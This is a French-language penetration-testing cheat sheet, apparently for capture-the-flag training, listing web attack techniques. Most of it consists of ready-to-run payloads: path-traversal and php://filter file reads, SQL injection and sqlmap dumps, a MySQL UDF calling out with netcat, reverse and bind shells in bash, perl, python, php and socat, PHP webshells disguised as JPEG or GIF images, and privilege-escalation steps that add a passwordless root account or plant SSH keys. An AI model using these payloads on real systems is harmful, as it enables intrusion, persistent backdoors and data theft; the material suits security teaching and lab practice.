Le serveur web apache fonctionne généralement dans le répertoire /var/www/html. Si nous précisons page=/etc/passwd, le serveur risque de chercher le fichier /var/www/html/etc/passwd. Nous utilisons alors /../ pour remonter d'un répertoire.

/var/www/html/../etc/passwd vaut /var/www/etc/passwd. /var/www/html/../../etc/passwd vaut /var/etc/passwd.

Nous utilisons une série de ../../../../../ devant le nom du fichier pour forcer le serveur à redescendre au niveau de la racine des répertoires. /var/www/html/../../../../../../../ vaut /, quel que soit le nombre de ../

http://10.10.10.11?page=../../../../../etc/passwd

Une LFI permet de lire TOUS les fichiers de la machine que peut lire le serveur web...

Plutot que http://10.10.10.11/index.php?page=login.php, le serveur utilise http://10.10.10.11/index.php?page=login, et ajoute l'extension '.php' avant d'inclure le fichier.

http://10.10.10.11/index.php?page=/etc/password va essayer d'ouvrir sans success /etc/password.php.

Nous ajoutons un null byte à la fin de notre paramètre qui va empécher l'ajout de l'extension .php.

http://10.10.10.11/index.php?page=/etc/password%00
<   %3C %253C
>   %3E %253E
«   %22 %2522
‘   %27 %2527
/   %2F %252F
.   %2E %252E
=   %3D %253D
–   %2D %252D
:   %3A %253A

Les développeurs ayant conscience des risques de LFI peuvent ajouter des fonctions qui vont filtrer les entrées.
Ils vont supprimer les ../ et les / dans le nom du fichier
Ce genre de filtre s'appelle un Waf : Web Application Filter.

Il est possible de contourner ces filtres de plusieures manières:

Le langage php permet de gérer les flux de façon banalisée. Il est ainsi possible d'injecter un fichier encodé en base64 dans une LFI.

http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php 
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php 

Il ne reste plus qu'à décoder pour obtenir le code source du fichier php.

Le langage php permet de gérer les flux de façon banalisée. Il est ainsi possible de lire le contenu brut des données en POST avec php://input.

curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input
Ne fonctionne que si l'option allow_url_include = On est active dans la config php. Elle est désactivée par défaut.

Nous injectons une payload dans le fichier de logs d'un serveur en faisant une requête : nginx, apache, ssh...
Nous utilisons ensuite une LFI pour déclencher la payload.

Fichiers de logs:
Apache
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/httpd/error_log

Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

Ssh
/var/log/sshd.log

Il est possible de vérifier l'emplacement des fichiers de logs en lisant les fichiers de config.
Fichier de config de Nginx: /etc/nginx/nginx.conf
Entrée du fichier de config : access_log /spool/logs/nginx-access.log

SQLi

Injecter des commandes SQL dans les paramêtres pour réécrire la requête.

SELECT * FROM user WHERE login='[USER]' and password='[PASSWORD]';

Méthode : fermer la ', élargir la requête avec OR 1=1, ajouter des valeurs avec UNION, commenter la fin de la requête avec # ou -- -

SELECT * FROM user WHERE login='admin' OR 1=1 -- - and password='bob';
curl http://target/login.pgp?login=admin' OR 1=1 -- -&password=bob

Injecter des fermetures de string ' ou " pour générer une erreur.
Injecter un sleep et remarquer un retard de la réponse.

admin' and sleep(5) and '1'='1
admin" and sleep(5) and "1"="1

Généralement les développeurs prennent la première entrée. Mais parfois ils vérifient qu'il n'y en a bien qu'une seule.

admin' or 1=1 LIMIT 1 -- -

Les développeurs filtrent parfois de caractères ou des mot:

Space => Tab %09, Newline %A0, /**/
AND   => && %26%26
OR    => ||

Quand la requête sert à afficher des entrées (ex: liste d'objets), on peut ajouter des valeurs avec un UNION.
Il faut commencer par identifier le nombre d'entrées qu'attend le select

SELECT id, name, desc, price FROM stock WHERE name=[NAME]

Methode 1: ORDER BY

SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 1-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Erreur
=> 4 entrées

Methode 2: SELECT

SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3,4 : Ok
=> 4 entrées
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,table_name,table_name FROM information_schema.tables; -- -  
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,column_name,column_name FROM information_schema.columns WHERE  table_name='users'; -- -
UNION SELECT concat(name,':',pass),1 FROM users; -- -

SQLi sur les paramètres d'un GET

$ sqlmap -u 'http://10.10.10.129/sqli/example1.php?name=root' --dbs --banner

SQLi sur les paramètres d'un POST.
Intercepter la requète avec Burp, et la sauver dans un fichier dologin.txt

$ sqlmap -r login.txt --dbs --banner
  -p name : forcer le paramètre à tester

Lister les tables, puis dumper une table

$ sqlmap -r login.txt -D jetadmin --tables
$ sqlmap -r login.txt -D jetadmin -T users --dump

Compiler une librairie UDF contenant le fonction sys_exec()
L'uploader sur le serveur. La déclarer. La fonction sys_exec() permet de lancer des commandes.

select sys_exec('/bin/sh');
after bash access, “bash –p” or “sudo su”

Tested with : mysql 5.5.60-0+deb8u1
Create a 'User Defined Function' calling C function 'system'
Use pre-compiled 32 or 64 depending on target.
Copy file to /tmp
create database exploittest;
use exploittest;
create table bob(line blob);
insert into bob values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from bob into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
select sys_exec('nc 11.0.0.21 4444 -e /bin/bash');

Web Shell

Netcat, est le couteau suisse des connections entre serveurs.
Il peut se mettre en écoute, se connecter et lancer des shells.

Les anciennes versions possédaient l'option -e ou -c qui permet de connecter un shell. Les version récentes ne possèdent plus cette option pour des raisons de sécurité
Sur Kali on trouve une version 1.10 en :

/usr/bin/nc -h
    -e shell commands : program to execute
    -c shell commands : program to execute
    -l                : listen mode
    -v                : verbose
    -p port           : local port number

Mettre un nc en écoute sur la kali

nc -lvp 4444

Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.

nc -e /bin/sh IPKALI 4444

Pour utiliser un reverse shell il faut connaitre l'IP publique de sa Kali.

Mettre un nc en écoute sur la kali

nc -lvp 4444

Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f

Le shell obtenu avec nc est basique. Ce n'est pas un tty.
Certaines commandes comme su vont refuser de fonctionner.
Pour upgrader notre shell, utiliser python pour avoir un shell de type tty:

python -c 'import pty; pty.spawn("/bin/bash")'

Le shell obtenu avec nc est basique. La completion avec le Tab, l'historique avec les flèches ne sont pas gérés.
!!: Tenter cette manip dans un browser va juste freezer le shell. Le browser modifie lui aussi les codes des touches. Ca ne marche que dans une VM
Passer le nc en arrière plan avec:

Ctr-Z

Puis demander au shell actuel de passer les codes des touches brutes au shell distant, et repasser sur le netcat (foreground)

stty raw -echo
fg

Tant que votre nc est connecté, vous bloquez un thread du serveur web. En fonction de la configuration du serveur, il peut avoir 6, 16, 32 threads... Dont autant de nc en parallèles avant saturation. Pour libérer le serveur pour les copains: Dans le nc connecté, choisissez un second port et lancez un second bindshell netcat en arrière plan:

binshell: 
nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &

reverse shell: 
nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &

La commande nohup va détacher le process nc du shell en cours. Faites un Ctrl-C pour couper la connection nc, la page avec votre webshell se libère. Un autre utilisateur peut se connecter. Lancer un nouveau nc pour vous connecter à ce nouveau bindshell:

Un bind shell est utile quand notre Kali est derrière un NAT. Ce shell est fragile, un scan de port va le déclencher et le fermer. Lance un shell, ouvre une socket TCP en écoute sur le port 4444, et donne accès au shell au premier qui se connecte.

nc -e /bin/sh -lvp 4444

Se connecte au netcat distant pour avoir accès au shell.

nc iptarget 4444

Lancer un bind shell sur la cible

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f

Se connecter avec un nc

nc victim 4444

Socat est un nc sous stéroides. Il permet une authentification et un chiffrement des communications.
On le trouve rarement sur les serveurs, il faut l'uploader.
Mettre un socat en écoute

socat file:`tty`,raw,echo=0 TCP-L:4444

Lancer un reverse shell avec un socat

$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444

Automatiser l'upload et le reverse shell:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Pwncat est un nc sous stéroides.

https://github.com/cytopia/pwncat

Mettre un nc en écoute sur la kali

nc -lvp 4444
bash -i >& /dev/tcp/IPKALI/4444 0>&1

Mettre un nc en écoute sur la kali

nc -lvp 4444
perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Mettre un nc en écoute sur la kali

nc -lvp 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'
Php

Mettre un nc en écoute sur la kali

nc -lvp 4444
php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Uploader la page

<?php echo 'Shell: ';system($_GET['cmd']); ?>

Lancer la commande 'id' sur le server.

curl http://IPSERVER/cmd.php?cmd=id

Uploader la page

<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>

Lancer la commande 'id' sur le server.

curl http://IPSERVER/cmd.php?cmd=id

Parfois certain caractères comme les ; les & ou les | sont filtrés. Un encodage base64 permet de s'en sortir.
Dans un shell encoder en base64:

$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64

Code PHP du reverse shell

eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));

Lancer un bind shell sur la cible

import sys,socket,time,re,subprocess,os

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
sock.bind(('0.0.0.0',4444))
sock.listen(5)
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:         
    data = conn.recv(1024)
    cmd = data.strip().split(' ')
    if cmd[0] == 'cd':
        os.chdir(cmd[1])
    elif cmd[0] in ('exit'):
        break
    else:
        conn.send(subprocess.check_output(cmd)+'\n>') 
conn.close()
sock.shutdown(socket.SHUT_RDWR)
sock.close()

Un fichier jpeg est identifié par ses premiers octets qui ont la valeur : ffd8ffe0
Pour générer un fichier qui sera identifié comme ayant une entête Jpeg valide:

printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg

Ce fichier sera reconnu comme un fichier jpg

$ file webshell.jpg 
webshell.jpg: JPEG image data

Un fichier gif est identifié par ses premiers octets qui ont la valeur : GIF89a;
Pour générer un fichier qui sera identifié comme ayant une entête gif valide:

printf "GIF89a;<?php system('id'); ?>" > webshell.gif

Ce fichier sera reconnu comme un fichier gif

$ file webshell.gif 
webshell.gif: GIF image data

Un fichier image contient de nombreuses informations : date de prise de vue, localisation, type d'appareil photo... Nous pouvons injecter du code php dans ces données.

exiftool -Comment='<?php system('id'); ?>' webshell.jpg

A lire pour en savoir plus Liste de webshells

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Webshell en pure php: php-reverse-shell.php

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Yop Webshell: yopwebshell.php Yolo Webshell: yolowebshell.php

File transferts

Des que vous pouvez lancer une commande sur votre cible, vous avez besoin de transférer des fichiers textes ou binaires.

Un encodage en base64 permet des copier/coller de fichiers sans se soucier du binaire ou des retours à la ligne

cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file

Lancer un serveur HTTP et faire un wget, curl

python -m SimpleHTTPServer 8000
php -S localhost:8000 
Scp

Avec un accès ssh

scp file.txt remote_username@10.10.0.2:/remote/directory
scp -i id_rsa file.txt remote_username@10.10.0.2:/remote/directory
scp -P 2222 file.txt remote_username@10.10.0.2:/remote/directory
scp remote_username@10.10.0.2:/remote/file.txt /local/directory

Elevation de Privilege - Unix

Pour obtenir une élévation de privilège, nous allons faire un inventaire exhaustif de ce qu'il a sur le serveur.

  • Lire tous les fichiers de config, temporaires, backup pour trouver des login/password.
  • Utiliser les éventuels droits sudo du compte.
  • Trouver une commande avec sticky bit.
  • Trouver un process qui tourne en tache de fond avec des droits root et modifier ses inputs.
  • Trouver un exploit kernel. Cette dernière option est rarement celle visée, mais ça marche sur les vieux serveurs...

Des scripts font ces énumérations pour nous. Ils sont utiles une fois que l'on sait ce que l'on cherche.

Fichiers contenant des informations

Rechercher les fichiers lisibles dans les autres comptes.

find /home -readable -type f  \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null

Le fichier de config s'appelle:

wp-config.php

Pour le chercher:

find /var -name wp-config.php 2>/dev/null

Ce fichier contient les login/password pour se connecter à la base de donnée.

Le fichier de config peut porter deux noms:

    httpd.conf
apache2.conf

On le trouve généralement dans un des répertoires:

    /etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf

Le fichier de config porte le nom:

    server.xml

Les mots de passe des utilisateurs se trouvent dans:

    tomcat-users.xml

On trouve généralement ces fichiers dans un des répertoires:

    TOMCAT-HOME/conf/
/usr/local/tomcat/conf/

Sudo

Sudo permet de lancer des commandes en tant qu'un autre utilisateur.

sudo -l
L'utilisateur user1 peut utiliser les commandes suivantes sur target-host :
    (ALL) NOPASSWD: /usr/bin/find
    user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py

Il est alors possible de lancer des commandes en tant que root ou un autre utilisateur avec le flag -u xxx

 
sudo /usr/bin/find
sudo -u user2 /usr/bin/python3  /home/user2/run.py

Si l'option NOPASSWD n'est pas définie, laa commande sudo demande le mot de passe du compte courant.
Si vous être entré par un webshell, ou une connection ssh avec clef privée, il faudra se débrouiller pour connaitre le mot de passe.

Sticky bit

Identifier les process possédant un sticky bit

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

Que faire avec un binaire possédant un sticky bit ?

- Lancer un shell
- Lire un flag
- Copier un fichier
- Ajouter une ligne à un fichier : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys

De nombreux process permettent de lancer un shell. Idéal s'ils sont en sudo ou avec un sticky bit.

find
nmap
vi
less
awk
tee...

Reference: https://gtfobins.github.io/

Si une commande avec les droits root permet d'ajouter une ligne: ex: tee

echo XXMONCOMPTEADMINPERSO::0:0:::/bin/bash | sudo tee -a /etc/passwd 
su XXMONCOMPTEADMINPERSO 

Si une commande avec les droits root permet d'ajouter une ligne: ex: tee

echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' | sudo tee -a /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget

Exploitation de process

ps

Identifier les process lancés par root

ps eaxf

Identifier les taches lancées par cron.

cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers

Identifier les process qui tournent régulièrement en tache de fond.

https://github.com/DominicBreuker/pspy

Kernel exploit

Version de la distribution:

cat /etc/issue
Ubuntu 18.04.3 LTS 

Version du kernel: 5.0.0-37-generic

uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Une fois la version du kernel connue, il est possible de chercher un Exploit Kernel
https://github.com/SecWiki/linux-kernel-exploits
Ne jamais lancer un binaire !
Toujours récupérer les sources, les lire et les compiler...

Scripts d'énumération

Des scripts font une énumération complete.
Il faut les tester et trouver celui qui a le format de sortie qui convient le mieux.

LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration
linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

Acteurs

L'Open Web Application Security Project (OWASP) est une communauté, fondée en 2001, qui produit et met gratuitement à disposition des articles, méthodologies, outils...
Elle publie tous les ans le Top 10 des failles de sécurités Web.
Elle publie l'OWASP Testing Guide : un guide des best practices depentesting.
Elle publie l'OWASP Development Guide: un guide visant à écrire du code sans failles de sécurité.
Site officiel: https://www.owasp.org

Mitre est l'organisation, financée par la Défense des Etats unis, qui a mis en place et maintient le référencement des CVE: Common Vulnerabilities and Exposures)
https://en.wikipedia.org/wiki/Mitre_Corporation

CVE

Une CVE, pour Common Vulnerabilities and Exposures, est une référence pour une faille de sécurité.
https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures